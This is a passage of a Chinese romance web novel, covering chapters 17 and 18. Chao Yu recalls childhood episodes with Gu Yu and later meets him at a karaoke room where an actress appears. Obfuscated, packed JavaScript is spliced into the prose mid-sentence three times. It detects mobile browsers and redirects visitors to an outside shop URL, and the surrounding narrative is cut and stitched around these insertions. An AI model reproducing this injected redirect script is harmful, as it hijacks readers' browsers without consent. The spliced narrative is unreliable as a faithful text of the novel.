聊到这些的时候,窗外今夏的暴雨,应声而落。 滂沱的雨势像要唤醒深处的记忆。 晁雨神色还透着点茫然,胖阿姨继续讲:“我看你们两个小孩,就叫你们进来,拿了毛巾给你们擦干,还翻了个小太阳出来,帮你让小狗烤着。你都忘啦?” 胖阿姨玩笑着骂她:“小没良心的。那你以为你高中来买奶茶,我为什么总给你多放珍珠?” “其实吧那珍珠也不怎么好吃……” “嘿!” 晁雨又笑,笑里仍透着迷茫。 “可能因为你的伤口发炎了。雨小了之后我送你们俩回家,你一回家就晕倒了,把我吓一跳。之后你奶奶急匆匆赶回来,把你送医院去了。” 那不是晁雨的奶奶,是辜屿的外婆毛秀珍。 这些晁雨倒是记得。她脚上出血的伤口因为泡了雨和泥水,导致很严重的发炎了,葛洁和晁正声当晚就从附近镇上赶回来,陪她住了一周的医院。 葛洁还给她炖了一周清淡的汤,都给她喝胖了,忧伤。 唯独奶茶店的这段,她是真没什么印象了。她最后的记忆,停留在走回家的路上,脚腕隐隐发着疼,再一睁眼,好像就在医院了。 晁雨问:“我们进店里来,怎么就有两倍糖了?” “你请那个小男孩喝奶茶呀。”胖阿姨解释:“你还说,让我给他放两倍糖。” “为什么?” “因为他看起来总是不开心的样子。” 这时店里来了其他客人,胖阿姨去忙了。 晁雨坐在原处苦思,一会儿觉得是有这么回事,一会儿觉得是自己根据胖阿姨的描述脑补出来的。 她漫无目的循着窗外看了一眼,看见马路对面的辜屿正走过来。 原来他还没买到奶茶。 少年好像都不喜欢打伞。包括某二十二岁严格来说已不算少年的那位。 哦不对,他也没伞可打。 他应该是走到半路下起雨来的。 不过雨很衬他。就像月光很衬他一样。 它们落满他肩头,不柔和,反而衬出他周身的锋利。 他很像那个称号,“妖刀”,冷冷的没感情,出其不意间已割开这世界。 他走到奶茶店外,大概看里面人多,并没走进来,只是站在屋檐下避雨。 奶茶店的落地玻璃上,贴着IP联名的巨大贴纸,许辰懿吸着奶茶跟晁雨聊天,并没注意到窗外的来人是辜屿。 但晁雨肯定,辜屿看到她了。就像她看到了辜屿一样。 两人隔着一扇玻璃,一人坐在店内,一人站在店外。 晁雨看着辜屿垂落的手臂,被IP人物花朵般蓬开的裙裾挡了大半,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581595|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一点指尖露出来。 染了雨,随着他垂手的动作,一些水渍聚在玉一般修长的指尖上,要落不落。 一种冷气的性感,禁欲的性感。 晁雨想到这只手昨晚握过自己的脚踝,很轻地、拎了拎藏在桌面下的脚。 辜屿站在店外。 他的确看到晁雨了。 关于当年的记忆,他倒是很清楚。 从山里救出小土狗后,他们在奶茶店躲雨,晁雨非要请他喝奶茶。 还让胖阿姨给他加两倍糖。 问他:“你怎么看起来总是不开心呢?” 又问:“喝点甜的会不会开心一点?” 她那时候小,一张脸圆圆的,眼睛也圆,扑朔扑朔、饱含期待地看着他。 辜屿:…… 勉为其难地喝了口。 ……差点没给他腻死。 亏得晁雨还在对面问:“好喝吗?” 他冷着张脸,由胖阿姨把他和晁雨送回了家,刚一进门,眼睁睁看着晁雨栽倒了下去。 毛秀珍赶回来把人送到医院,他才知道晁雨脚受伤。 他一次都没去探病,因为觉得烦。 怎么会有这么蠢的人? 既然脚受伤,不会提前说一声吗?而且既然脚受伤,为什么还有闲工夫来关心他心情好不好? 而且他总是一张臭脸,她又是怎么看出来他心情好还是不好的? 那个夏天,他的确心情不好。因为出发来洵州前,他的亲生母亲对他说:“有时候我恨不得你死掉。” 后来他还是去了一次医院。 当然不是他想去,而是毛秀珍不停催他,他不堪其扰。 他本打算在走廊里晃一圈就离开。 透过病房的窗,却看见晁雨刚巧一个人在病房。 那时候洵州医院还没有留置针这样的技术,她每天不知打多少消炎药,打得手背血管肿起,以至于这时输液的针,不得不扎在她脑门上,还贴了胶布,看起来有点可怜,也有点滑稽。 辜屿就这么一停留,就被她看见了。 辜屿:…… 不得已走到病房门口,示意自己来过了。 病床上可怜的、滑稽的、自顾不暇的小姑娘,脸有点浮肿,冲他笑着说:“喂,奶茶到底好不好喝?” “你的心情,有没有好一点?” 他那时候已会扮酷,啊不,已经很酷。 手插在裤子口袋里,指尖蜷起来。 傻子。他在心里说。 - 雨势渐收,辜屿进来打包了奶茶就走了。 许辰懿背对着柜台根本没留意,晁雨也没叫他。 等雨彻底停了,走出奶茶店,许辰懿对晁雨颇为不满:“不是,你有两倍糖这么绝妙的点子,就该自己开个店卖啊。” “拜托,那时我才十岁出头,哪来的钱?再说,谁知道洵州人的口味真甜得这么丧心病狂……”晁雨又补了句:“再再说,我都不记得了。” 许辰懿打趣她:“小名也不记得,奶茶也不记得。还有更多不记得的吗?” “你都说是我不记得的事了,我上哪儿知道去!”晁雨一推许辰懿的肩:“差点没被你绕进去。” 许辰懿鹅鹅鹅地笑。 雨后初晴,浅金的夕阳穿透被洗出新绿的叶片。晁雨跟许辰懿笑闹了一路,心里却默默地想: 还有吗? 跟辜屿有关的、她忘记的那些小事。 17. 第三件小事01 年纪大了,真大了。 晁雨现在也体会到傍晚喝一杯奶茶、直到深夜还眼睛瞪得像铜铃的感觉了。 她一手拽着毯子侧躺、一手揉着太阳穴,忽听有人轻轻敲门。 肩膀下意识缩紧:“进。” 晁二柱鬼鬼祟祟探进一颗头来:“姐。” 晁雨:…… 没好气地问他:“干嘛?” “辰辰姐不是拍了张我们的合影么?拍得怎么样,你给我看看。” 他们都没加许辰懿的微信。 “看这个干嘛?” “我好像闭眼了。” 哟,晁雨斜眼瞟了晁二柱一眼。 孩子大了,知道在意形象了。 她拧开台灯拿过手机,看了眼许辰懿的那条朋友圈。 “没闭眼,就是丑。” “没闭眼怎么丑了?” “长得丑。” 晁二柱:…… 他缩在门边:“你发我看看,到底有多丑。” 晁雨一乐,就把照片给他发过去了。 晁二柱对着手机看了眼,连声招呼都没打,关上门遁了。 晁雨总觉得有哪里怪怪的。 一时又说不清有哪里怪。 晁雨这个班上得比较走运。 她入职的那天是周五,上了一天班就迎来双休。 葛洁要请男生们到家里来吃饭,庆祝她找到新工作。许辰懿小声问:“你跟你妈说是在周旭尧公司没?” “没。虽然我和周旭尧互相都没意思,但要是告诉她我去周旭尧公司上班,她下周就敢给我俩摆酒你信么?” 许辰懿大笑。 下午她俩闲来无事,倚在二楼的木连廊里,一边吹穿堂风,一边择葛洁晚上要做的豆角。 刚巧看到晁二柱回家来找东西。 晁雨瞥他一眼,问许辰懿:“你觉不觉得我弟傻乎乎的?” “不会啊,蛮帅的。” 晁雨大惊:“你说什么?!” “当然不是辜屿弟弟那种帅啊,就是比较邻家的那种帅,身材也蛮好的。”许辰懿择着豆角说得浑不在意。 “那是假象。”晁雨索性擦了手,到房里翻出相册拿给许辰懿看。 有人把晁二柱和“帅”这种字眼联系起来,太令她震惊了。 她脑海中的晁二柱,总还是小时候黑黑瘦瘦的瘦猴儿样。 因为晁二柱身体太差了,三天两头跑医院,一张小脸也苦兮兮的。 后来上了初中,晁二柱在葛洁的精心调养下,身体开始变好。他报复性开始跑步、打篮球,每天两杯牛奶。 上了大学又开始健身,用许辰懿的话说——“像健身房的那种型男,就是脸长得乖一点、害羞一点”。 许辰懿翻着晁雨拿出的相册就开始乐:“真想不到你弟小时候长这样。” 又点点另个小男孩:“这是谁?” 晁雨看了眼:“马超。他从小蛮倔的,他那时候想留长头发,他爸不许,拿剪刀给他绞了,他就自己跑理发店去推了个光头。” 许辰懿继续翻:“这里面怎么谁都有,就是没有辜屿弟弟?” “他好像,从来就不喜欢拍照。” 晁雨回忆起前些天许辰懿在录像厅前给他们拍合影,辜屿一个人远远站在路灯下,一手插兜,灯光把颀长的身形拉出道长长的影子。 他从小就是那样。 所有人合影的时候,他总是淡着张脸站在一旁。 所以现在晁雨看着照片,能回想起马超为什么剃了光头、晁二柱为什么大哭…… 但关于辜屿的很多小事,她都不记得了。 许辰懿问:“辜屿弟弟从小就这么酷哦?” “对。” 就算他在洵州时会跟晁二柱他们一起玩。离开洵州后,他们好像也没什么联系。 男孩们过来吃晚饭时,晁雨有点……说不清道不明的滋味。 这是她确定两人间一定有些什么后,第一次见面。 她帮着端最后一道菜上楼时,唇角微微抿着。 男孩们已经围桌而坐,葛洁解开围裙招呼他们:“快吃吧。” 辜屿不在。 迟了大约十分钟,平时辜屿应该已来了,葛洁想起来问:“怎么二狗子今天不来么?” “哦对。”晁二柱这才道:“他有事,不过来了。” 彼时晁雨正咬着筷子间的一条豆角丝,目光落在那道窄窄长长的木楼梯口。 夕阳落过去,一半照进浅金,一半藏进暗影。 一个本应踏月而来、模糊昼夜界限的人,没来。 晁雨把一口菜咽下喉咙。 心脏垂坠回地面。是失落?还是松了一口气? 晁雨对这种感觉太陌生了,很难讲得清。 吃完饭,葛洁去给晁正声送饭了,晁雨接到毛秀珍电话:“雨丫头,江湖救急!” 晁雨火急火燎赶过去,因为听葛洁说,毛秀珍前两天感冒刚去了趟医院。 老年人体弱,她生怕再出什么事。 结果她一去,毛秀珍悠悠闲闲仰在躺椅上,摇着蒲扇:“我要学画画。” “你什么?” “我要学画画!”毛秀珍腾地一下从躺椅坐起来:“我今天去打麻将的时候,张玉珍说她参加了合唱团,凭什么她多才多艺我只是个会打麻将的老太太啊!” 晁雨一想,老年人多点兴趣爱好也挺好。 她回家把自己以前的素描本找来给毛秀珍。不知道毛秀珍是什么水平,指着木爬架上的那串葡萄:“你画给我看看。” “没问题。”毛秀珍信心十足,下笔如有神。 晁雨探头看了眼。 问毛秀珍:“你刚才说,觉得自己没什么唱歌天赋,所以想学画画?” “嗯嗯。” “你唱给我听听。” 毛秀珍扯开嗓子唱:“呀啦嗦——那就是青藏高原!” 晁雨掏了掏自己的耳朵。 原来并非声音高亢的人都适合唱歌。不会唱歌的人声音越高亢,越是灾难。 她本来看毛秀珍画的跟土豆似的葡萄,想劝毛秀珍要不去练唱歌。 得,现在她还是老老实实教毛秀珍画画吧。 她给毛秀珍大概讲了讲素描的概念,又承诺明天下班把以前的绘画书拿来给毛秀珍。 开玩笑问毛秀珍:“老太太,不付我学费?” 说话间辜屿从自己房间走出来。 毛秀珍顺手一指:“我的大外孙,拿去吧。” 她本是玩笑,晁雨和辜屿对看一眼。 晁雨移开视线,站起来:“我先走了。” “等等,等等等等。”毛秀珍拽住她手腕,又把她往辜屿的方向拽。 “哎……”晁雨有点慌。 毛秀珍把晁雨拽到辜屿身边,一手一个,把两人摁在木爬架下打横的那条座椅上。 自己走回躺椅边拿起素描本:“说不定我的技能点不在静物在人像呢?你让我试试。” 又道:“二狗子不爱拍照,我要是画好了,就当你俩合照了。” 晁雨:…… 这是什么爆棚的自信心?刚学会踩油门刹车,就觉得自己会开F1。 她问毛秀珍:“为什么一定要合照?” 辜屿坐在她身边,两人隔着不远不近的距离。 她故作镇定笑看着毛秀珍说话,垂落的眼尾视线能看到辜屿冷白的小臂。 她说“为什么要合照”的时候,辜屿好像看了她眼。 又好像没有。 不知从什么时候起,她和辜屿之间变成这样。 好像什么都有,好像什么都没有。 好像可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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葛洁放开晁雨,一边往前走一边掏出手机给晁正声打电话:“老公,给小雨结婚存的那坛桂花酒呢?你就要喝上啦!” 晁雨:…… “诶妈……妈你听我说……” 正当这时,晁雨看到辜屿站在那里。 黑衣黑裤加薄韧骨相,站在雨气朦胧的天地间。 晁雨闭了嘴,没再解释下去。 辜屿走上前来:“我来拿书。” 哦对,晁雨承诺今天借书给毛秀珍来着。 毛秀珍大约见下雨,怕她不方便,便叫辜屿来拿。 “跟我上来吧。”晁雨推门回家,踏上二楼。 辜屿跟在她身后,没进她房间,在门外连廊里等。 门半掩着,晁雨收拾书的时候低着头,一缕碎发从额前垂下,又被她匆匆勾至耳后。 其实在洵州这样的小城,人的边界感很弱,没什么隐私意识可言。 从小晁二柱和那帮男孩就在她房里蹿进蹿出,又被她大骂出去。 她的房间从不是昆戏画本子里什么私密的闺房。所以上次辜屿送奶茶进来,她也没觉得有什么。 只是现在确定两人之间是有什么不同后,辜屿反而站在外面等。 她抱着书出去:“我大概找了这些。” 辜屿接过,目光很淡,掠过她额发勾起后露出的一点耳尖。 正当晁雨以为两人这次接触即将结束。 辜屿开口问:“你现在在他公司上班?” 没叫周旭尧,而叫——“他”。 “啊。”晁雨的心跳莫名抢了一拍:“嗯。” 她恢复表面的淡定模样说道:“是啊。” 18. 第三件小事02 辜屿没再说话,抱着书离开。 许辰懿打着呵欠从客房出来:“你终于下班了?我都睡了一觉了。” 周旭尧的公司强度不低,时有加班。但晁雨是被亚轩操练出来的人,一边打着吊瓶一边改设计方案的事她也不是没做过。 所以现在对她来说,还好,十分还好。 更何况周末还能双休,她和许辰懿去录像厅看电影。 这次是一部港片,《青蛇》。 张曼玉在电影里饰的小青顶着张狡黠脸蛋,学着人走路的模样搞笑又风情万种。 从录像厅出来,许辰懿就学着那么走,晁雨差点没笑死。 两人去雩溪边吹风,许辰懿买了两瓶荔枝味汽水,一撩自己的长卷发:“这人呐就是不能找跟自己差距太大的,人妖殊途,就是这么个理。” 晁雨倚在雕了竹节的石围栏上,望着碧潋的溪。 夜风吹得人太舒服,许辰懿赖在溪边不肯走,把一瓶快见底的汽水吸得哔哔响,咬着吸管刷手机。 突然咬牙切齿一声:“靠。” 其实晁雨从她那一声里,就已经听出肯定是明恒宇的事。 她不想看,探头过去只是惯性作祟。 照片上是明恒宇和一个女同事的合影,两人去广州出差,站在小蛮腰下合影,明恒宇一贯的温文儒雅,女同事脸上带一点青涩。 晁雨对这个女同事有印象。 刚进公司不久,长相恬静,才华横溢。 许辰懿气得差点没把汽水瓶摔了:“你说这老贱人怎么专找一个类型坑啊?他就喜欢找这种看起来乖的、文静的,来给他自己打掩护。你说他要是没点想法,出个差他发什么私人合照啊?” 晁雨默默看着那张照片。 许辰懿搡她一下:“气傻啦?” 晁雨:“用一下你手机。” 她已经退出亚轩的群了,拿许辰懿手机找出那位女同事的手机号,直接拨过去:“你好,我是亚轩设计一部的前员工晁雨,Olive,不知你有没有印象。” 对方表示有。 她言简意赅地说:“明恒宇是同。我这里有一张照片,是他和部门实习生在酒吧走廊乱搞,我可以发给你。” “大老板保他,怕这事在一些保守的甲方那里造成不好影响,所以这事闹不大。但明恒宇如果敢拿以前对我的伎俩,再去对付其他女生,他找一个,我就戳破一次。” 晁雨挂了电话,许辰懿冒出星星眼:“太牛了我的姐!我还生怕你忍气吞声,给我气出乳腺增生。” 晁雨把手机递还给她。 她问:“你还真有那老贱人乱搞的照片啊?” “有。”晁雨把照片发给许辰懿,让她转发给女同事。 许辰懿一看:“我的乖乖。” BarMo极富格调的包厢里,黑胡桃木模拟欧洲中古风的舷窗,沉如琥珀的灯光下,明恒宇和一人耳鬓厮磨在一起,脸看不清楚,熟知明恒宇的人却能一眼看出那是他。 许辰懿道:“那天那种情况下,你还记得拍照啊?” 晁雨点头。 明恒宇摆明了要坑她。她武器不多,抓起一件是一件。 许辰懿:“你就一直把这照片存自己手机里啊?” “怎么?” “那你每次打开相册,不就能看到这张照片,你不堵得慌啊?” 晁雨耸了下肩。 “得。”许辰懿对她做了个两手抱拳的姿势:“姐,你就是人间清醒本姐,咱别的话没有,就是一个大写的RESPECT(尊敬)!” 接着突然许辰懿一揉眼:“我看错了吧?” 晁雨的心脏又一突突,许辰懿这反应,她简直要以为明恒宇来洵州了。 循着许辰懿视线望过去,空无一人。 她问:“谁?” “宋宛颜!”许辰懿的声音拔高三度:“刚看电影的时候我不还跟你说,现在有个小花特像小曼玉么!宋宛颜!” 晁雨知道宋宛颜。 在新一代小花里她算口碑很好,有流量也有演技。一部爆火出圈的古装片里她饰花蕊夫人,明珠如月,红桥隐隐,她随芙蓉而舞的一段,在微博上被转疯了。 她不是那种模版化的美人,一张脸小巧,猫颜,有明晰的下颌线,并不接受公司安排去做微整。很有九十年代港星的味,娇而不妖,反而有种利落的飒爽。 她跟辜屿合拍过杂志封面。 许辰懿:“我肯定是看错了。宋宛颜来洵州干嘛?你们洵州明星开会啊?” 接着晁雨的手机响了。 晁雨看了眼,接起来:“喂。” 晁二柱的一道气声传来:“姐!快来!” “你做贼呢?” “不是啊我们在溪边唱歌,你猜谁在这?”晁二柱其实已经出了包厢了,他也不知自己为什么一直要捏着气声讲话,跟有狗仔盯梢他似的。 “总不会是宋宛颜。” “……你怎么知道?”晁二柱愣了。 于晁雨而言并不难猜。如果许辰懿没看错,那宋宛颜出现在这里的唯一可能,就是来找辜屿。 晁雨心里说不上什么感觉。 宋宛颜来找辜屿? 辜屿从不是什么平易近人的人。宋宛颜来找辜屿,意味着什么? 晁二柱接着道:“宋宛颜这段时间不是在上海拍戏么?一部民国文人戏,有点瓶颈,经纪人带她来洵州找感觉。她居然看到狗哥也在这,就说约着一起唱个歌,放松下。” “狗哥让我给你和辰辰姐打电话,叫你们一起。” “叫我们?”晁雨问:“为什么他让你叫我们?” 晁二柱一愣:“那宋宛颜来洵州,肯定是狗哥请客嘛。狗哥主场,就叫你们一起咯。” “他为什么不自己叫?”晁雨说完就把电话挂了。 许辰懿在一旁拿眼瞄她:“心情不好?” 许辰懿把这归咎为晁雨因明恒宇的事,心情不好。 晁雨跟她顺着溪边步道慢慢走:“如果你对一个跟你差距很大的人,有了感觉,你怎么办?” 许辰懿怔了下:“哦,你说刚才的电影?姐们儿你话题怎么这么跳啊。” 她想了想道:“睡了他。” 晁雨:“……啊?” 许辰懿一本正经:“你想啊,如果跟白蛇似的,非要跟许仙在一起,那肯定没有好下场。还不如想开点,非要在一起干嘛啊?把他睡了,开心一段时间后踹了完事,一点不耽误自己修炼飞升。我跟你说,什么荷尔蒙什么心动都是美丽的肥皂泡泡,你跟这个人真实地相处一段,保证去魅。” 许辰懿没吃过猪肉,但见过一万头猪跑,讲起来夸夸其谈。 正当这时,晁雨的手机又响。 一个陌生号码。 晁雨在夜风里很轻地掖一掖唇角。她没有辜屿的手机号,但她第一直觉,那是辜屿。 她接起来:“喂。” “喂姐,是这样姐,我们在二环边新开发一楼盘,有商铺有住宅,有兴趣考虑一下么姐?” 晁雨自己在脑子里,给来电人安插了个这样的画外音,操着塑料普通话。 为什么?怕真是推销电话的话自己失望? 她来不及想清这一刻幽微的情绪,对方声线磁沉:“过来么?” 有了晁雨脑中幻想出的塑料普通话做对比,这一声如月光坠地。 晁雨呼吸很轻地一滞。 许辰懿在一旁用嘴形问:“谁啊?辜屿弟弟?咱去啊干嘛不去,看明星诶!” 晁雨对着手机,一时没说话。 手机里沉默蔓延,直到她感觉对面的辜屿忍不住想要再开口的时候。 她用若无其事的语调道:“行啊,那去待一会儿。” - 挂了电话。 溪还是那条溪。夜还是那个夜。 刚才她跟辜屿在电话里的沉默,从物理时间上来说不过几秒,就连许辰懿这样的人精都没看出端倪。 她看了许辰懿一眼。 许辰懿:“怎么?我脸上沾东西了?” 她默默摇头。 要是把这些比中学生初恋还幽微的细节、隐秘的感觉,讲给许辰懿听,许辰懿会不会觉得她神经了? 会不会觉得她遭受双重打击后郁郁不得志,开始幻想国民天菜弟弟? 到现在连她都拿捏不清自己是不是想多了。 毕竟宋宛颜来找辜屿,这是否意味着什么? 洵州老城不仅有很老式的录像厅,还有很老式的练歌房。依溪而建,通常有着“快活林”、“白月光”等极富年代感的名字。 门前是弯折的霓虹灯,拗出名字的字样。灯管暗一截,名字就少个笔画。 这里甚至点歌都不是电子触屏,而是一张张打印出的纸页点歌单。 走到“快活林”外,许辰懿拉住晁雨:“你等等等等。” 又从包里掏出支口红补妆:“毕竟是去见女明星,一生倔强的职场女人从不服输。” 问晁雨:“你要么?” 晁雨摇摇头。 两人按晁二柱发来的包厢号,走进去。 包厢里很暗,只有一个球形射灯一闪一闪,打出或蓝或白的氛围光。宋宛颜众心捧月的坐在正中,平时闹腾的男孩们此时安静如鸡。 辜屿倒没跟宋宛颜坐在一处。他坐沙发拐角,拿着手机不知在打什么字,听到许辰懿和晁雨进门的动静,眼神淡淡地扫过来。 但没说话。 倒是一向胆子大的马超,主动承担起社交任务:“这是许辰懿,辰辰姐。这是晁二柱的姐姐,晁大柱。” 晁雨骂他:“滚。” 这时辜屿才开口,声线压得低,却清晰报出她的名字:“晁雨。” 宋宛颜明艳地笑起来,跟她们打招呼。 许辰懿在晁雨旁边倒吸一口凉气:“我滴个老天奶。” 宋宛颜因不削腮帮子,在镜头里一直被诟病脸大,连带着整个人都显壮。 现在看来,“上镜胖十斤”定律真不是虚的。宋宛颜怎么可能脸大?紧致的下颌线显得脸那般小巧,头骨完美得像3D建模。 她跟“壮”或“胖”一类的词八杆子打不着关系,坐在那里像个过分精致的娃娃。可见要扛住严苛镜头的女明星,跟普通人真正有壁。 许辰懿拉着晁雨坐下了:“你们怎么都不唱歌?来练歌房看MV来了?” 晁雨可太知道这帮小兔崽子了。 平时闹腾得凶,那都是窝里横。 这会儿有仙女镇场,大气都不敢喘。 许辰懿拿过点歌本:“那我抛砖引玉,给大家热个场。” 她十分大方,在职场上历练出来了,搞活气氛是她的拿手好戏。大人物也见过不少,当着女明星什么的,她丝毫不怵。 她一开口,众人傻了。 因为她,吊着嗓子唱了首黄梅戏。 高亢的嗓音跟传统的黄梅戏那叫一浑然天成,戏剧效果拉满。 众人愣了两秒,都笑疯了。 这是许辰懿的绝活,靠这不知签下多少单子。她一开场,包厢氛围顿时松快下来,就连宋宛颜都唱了首《后来》。 能听出她并不擅长唱歌,但声线好听极了。 众人集体鼓掌,她笑着道谢,又翻点歌本点了首。 长成这样还丝毫不骄矜,真真令人喜欢。 接着她蒙上口罩戴上棒球帽,去接了个工作电话。经纪人在酒店里等她,一边处理工作,电话估计是经纪人打来的。 好巧不巧,这时轮到她点的歌。 许辰懿一听这前奏:“靠。” 宋宛颜点的歌是——《爱情的模样》。 许辰懿悄悄瞟晁雨,晁雨还和刚才一样坐着,静静望着屏幕。 直到前奏放了一半,晁雨忽然拿起话筒。 晁二柱大惊:“大家快捂耳朵。” 众人哄笑。 晁雨瞪他一眼。 这事吧也怨不了晁二柱。毕竟小时候,男孩们最怕的事并非晁雨收缴他们的零花钱,那只是要钱。 他们最怕晁雨唱歌,那是要命。 晁雨拿着麦对晁二柱说:“姐姐早就练出来了好吧。” 许辰懿在旁边很轻地摁了下晁雨的手,用嘴形说:“没必要。” 晁雨笑了笑,用嘴形回她:“这有什么。” 三,二,一。 晁雨跟着歌词的指示箭头开始唱: [你是巨大的海洋, 我是雨下在你身上。] 这是有年亚轩年会,晁雨唱过的歌,明恒宇抱着木吉他在她身后弹。 那年人力资源总监要求,每个部门的负责人必须出节目。明恒宇不擅唱歌,便想了这个办法。 那时两人已开始“交往”,在公司很低调,不过看在知情人眼里,算是一场官宣。 许辰懿记得很清楚,亚轩有钱,一场年会扮得跟小型演唱会似的。晁雨一袭白裙,明恒宇抱着吉他坐在她身后的吧椅,淡蓝模仿鲸鱼游弋的舞台光,落在两人身上。 当时的许辰懿:我又相信了。 只不过,后来发生的事让许辰懿:爱情是狗屁。 此时晁雨握着话筒轻唱,淡淡的,恬静的,跟当年年会上一样。 许辰懿又是一个大写的RESPECT(尊敬):连唱这首歌都没问题了,这姐果真是人间清醒姐。 辜屿一直坐在角落握着手机打字。 直到晁雨唱歌,他抬眸。 晁雨和许辰懿来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583095|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得晚些,坐在沙发侧边。晁雨望着屏幕,从他的视角,刚好能望见晁雨的背影。 屏幕的光把晁雨的背影涂得虚化,歌词里正唱: [你是谁,教我狂恋, 叫我勇敢地挑战全世界。] 晁雨现在唱歌真不错了。倒不是说她多有技巧额,而是恬淡的声线配上歌词,有种故事般的叙述感,很容易把人拉进情绪里去。 唱完一段,宋宛颜打完电话进来。 晁雨笑着把话筒递过去。 宋宛颜:“你唱你唱。” “你唱吧。”晁雨扬唇道:“刚才没人唱,我才瞎唱着玩。” 马超夸她:“雨姐现在唱歌可以啊,怎么练出来的?” “大学时有次跨年,学校办晚会,我们班实在没人,我说那我练练吧,应该能练出来。” “……谁给你的勇气?梁静茹吗?” “忘了。我记得以前,有人说过我唱歌还可以来着。” 马超大惊,望向四周:“谁?哪个叛徒?” 众人都笑,晁雨也笑得挺开心的。 宋宛颜唱歌时,她拍拍许辰懿的肩:“我去趟洗手间。” “我陪你么?” “不用。” 晁雨没去洗手间。 她钻出练歌房,倚在依溪而建的石围栏上吹风。 她在许辰懿面前装出一副若无其事的样子。其实也不是装,而是她希望自己就是若无其事,人嘛不就是这样,装着装着也就成真了。 在手机里存照片。在练歌房里唱《爱情的模样》。 这些行为,像往伤口上撒酒精。 不是为了自虐,而是为了漤着那些血肉模糊的腐肉,让它们尽快新生。 只不过背后那些又涩又疼的感觉,她想自己消化。 心脏泡在酒精里,像一颗发皱的青梅一样收缩,扯着人的五脏六腑,让人恨不得跟着佝偻起背。 背后一阵脚步。 晁雨嗅觉灵,耳朵也灵。 那是辜屿。 辜屿走到溪边来,跟晁雨隔开根石柱,背倚在石围栏上。 有人随便往那一站就像帧电影截图,这样的情形下他好像很适合抽一支烟。但他不抽烟,所以身上有种很洁净的味道。 哪怕他今晚喝了酒,那酒味也是很洁净的。 像山间冻过的、掺了雪水的溪里,撒了瓶陈年的醽醁。 他吹着夜风静静呼吸,好像身边的晁雨不存在似的。 晁雨也就收回视线不再看他,复又望着眼前潺潺的溪。 吹够了风,她回练歌房前,说了句:“生日快乐。” 关于小时候是谁夸她唱歌还不错这件事。 她想起来了,是辜屿。 辜屿什么时候过生日这件事,没人知道,连百度百科里都没写。 他在洵州也没过过生日。 唯有一次,晁雨去小院里找毛秀珍。 那天停电了,游戏房里空荡荡,毛秀珍却是个闲不住的,去找牌搭子老姐妹们闲聊。 小院里只有辜屿一人,借着天光,埋头填一张表。 晁雨瞥了眼。 那应该是一张出国比赛的申请表,写着辜屿的生日,七月二十四日。 三天前。 辜屿抬起头,冷冷看她一眼。 晁雨后退半步:“我不是故意看的。” “不过,毛奶奶怎么不给你过生日呢?” 辜屿已埋下头去继续填表。 晁雨想了想:“按说我该送你个礼物,但我没钱。这样吧,我给你唱一个。” 她扯着嗓子唱了遍生日快乐歌。 舔舔嘴唇问辜屿:“你觉得怎么样?你觉得不行的话我重唱一遍,应该能好点。” 辜屿抬起头,带着一种被鹅啄了的表情,蹙眉看着她,两秒,然后说:“还可以。” 辜屿对这件事记得很清楚。 特别特别清楚。 因为辜屿这人从小就倔,看着冷,事实上也的确冷,这样的性格谁都不服。那是他第一次意识到,原来自己也会选择屈服。 屈服在这位姐的歌声下。 晁雨咧嘴一笑:“是吧?我也觉得还可以。你看你从北京来的就是见过世面,不像二柱子他们不识货。” 唱歌的事很快被晁雨忘了。 她就记着她每年得帮辜屿过生日。因为没人帮辜屿过生日。 每年辜屿生日这天,她会鬼鬼祟祟溜进毛家小院,塞张纸片进辜屿房间,上面写着「生日快乐」。 那时候洵州没什么正儿八经的贺卡,她在作业本上写过、卷筒纸上写过、晁正声的烟盒上写过。 辜屿一次都没搭理过她。 后来她离开洵州,这事渐渐就被她忘了。 这时她想起来了,又说一遍“生日快乐”。辜屿就在她旁边,仍是淡淡的没反应。 待她走开后,身后一声笑,很低,沉沉地压着夜风。 她猛一下回头:“你笑了?” 妈呀,辜.面瘫王.屿笑了? 她发誓许辰懿真给她看过这样的链接——《论神秘的东方围棋天才是否患有面瘫且神秘的东方针灸术能否解决》。 但辜屿的一张脸仍是淡而沉,黑T被溪边的夜风吹得猎猎。 晁雨在原处站定。 她今晚也喝了酒,半杯,以她的酒量也不至于多。她觉得她是被辜屿身上的酒气熏的,所以头有些晕乎乎。 以至于她开口问:“你为什么叫宋宛颜来?” 这问题问出来她都觉得有些可笑。 从她进包厢、见到宋宛颜的一刻,如果她要把自己和宋宛颜放在同一架天平上比较,她会觉得这件事很可笑。 她并不自卑,但那是一种在日常生活中的进退有度。而宋宛颜和辜屿是一类人,他们光芒万丈,他们众星捧月。 他们或是妖,或是仙,凭自己的道行,游离于琐碎而无聊的人间之外。 晁雨觉得自己一定是喝多了才这么问。 辜屿反问:“谁说是我叫她来的?” 晁雨:“那你为什么答应她来?” 辜屿看着她。 晁雨隔着段距离,虚虚指着他:“她喜欢你,你没意思的话就不该吊着人家。这样的男的,天诛地灭。” “过。” 